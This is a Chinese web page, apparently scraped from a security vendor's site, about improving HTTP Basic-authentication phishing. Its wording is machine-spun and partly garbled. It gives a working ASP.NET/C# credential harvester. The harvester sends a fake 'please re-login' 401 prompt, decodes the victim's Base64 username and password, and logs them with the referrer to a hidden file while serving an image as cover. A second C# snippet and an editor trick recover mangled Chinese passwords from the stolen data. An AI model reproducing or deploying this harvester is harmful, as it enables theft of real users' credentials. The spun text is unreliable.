|
|
|
联系客服020-83701501

关于基础验证钓鱼中文乱码的解决方法

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
对于根底考证钓鱼中文乱码的治理言论

迩来根底认证钓鱼很火,参考91ri.org的《根底认证钓鱼侵犯与防止》一文。无非乱码不绝是个问题。经测试后已实现的治理言论有两种:

言论一:手动阐发Request头

假定客户端承受了WWW-AuThenticate考证,则会在下一次连贯中添加恳请头 Authorization,花色为:

Default
1 Authorization: Basic Og==

Basic代表操纵根底形式考证,由效能端WWW-AuThenticate头指定的考证形式指定。因为咱们必要失掉密码,以是这里一定为Basic。

以后以一个空格作为分隔符,其它的形式为用户名与密码,加密言论为尺度BASE64,花色为 用户名:密码。

(更多质料请参考rfc文档。)

以是咱们只必要判断恳请头能否包含Authorization便可,假定没有的话则输入401前去头乞请输入密码。

一段容易的C#代码:

Default
1234567891011121314 <%string logpath=Server.MapPath("\\fuck.config");string info="please re-login";string imgpath=Server.MapPath("\\img.jpg");if(Request.Headers["Authorization"]==null||Request.Headers["Authorization"].StartsWith("Basic Og==")){Response.Status="401 Unauthorized";Response.AddHeader("WWW-AuThenticate",string.Format("basic ,Realm=\"{0}\"",info));}else{string referrer=(Request.UrlReferrer==null)?"":Request.UrlReferrer.ToString();System.IO.File.AppendAllText(logpath,Encoding.Default.GetString(Convert.FromBase64String(Request.Headers["Authorization"].Remove(0,5).Trim()))+"|"+referrer+"\r\n");if(System.IO.File.Exists(imgpath))Response.BinaryWrite(System.IO.File.ReadAllBytes(imgpath));}%>

Default
1 二、将乱码转换回畸形的字符 乱码真实是西欧字符,在拓展ASCII中为0x7f-0xff,以是只必要转换归去就好了。 无非要把稳:直接转换是不可能的。在中文操纵零碎中0x7f-0xff单个字节被认为是无效字符,转换后只能输入0x3f(?)。同时假定想将乱码糊口生涯到文件中,则必需把持unicode等花色糊口生涯,这时乱码将变为两字节,转换更为繁琐。 经过尝试或许把持以下C#代码转换,把稳:必需在winform下编译把持,网站form下即便是相同的Unicode编码也会转换出差别的字节数组,从而招致无奈转换。

Default
12345678910111213141516 using System;using System.Text;using System.Windows.Forms;using System.Collections.Generic; public class Decript{   public static void Main()   {       string s="D??μò???è?";       byte[] arrb = Encoding.Unicode.GetBytes(s);       List<byte> lb=new List<byte>();       foreach(byte b in arrb){if(b!=0)lb.Add(b);}       Console.WriteLine(Encoding.Default.GetString(lb.ToArray()));    }}

以后又找到更简炼的言论:用Notepad2建设一个unicode文档,将乱码粘贴进去,以后在编码决定任意ISO收尾的编码,糊口生涯后即转换竣事。

link:http://www.cunlide.com/?post=89

数安新闻+更多

证书相关+更多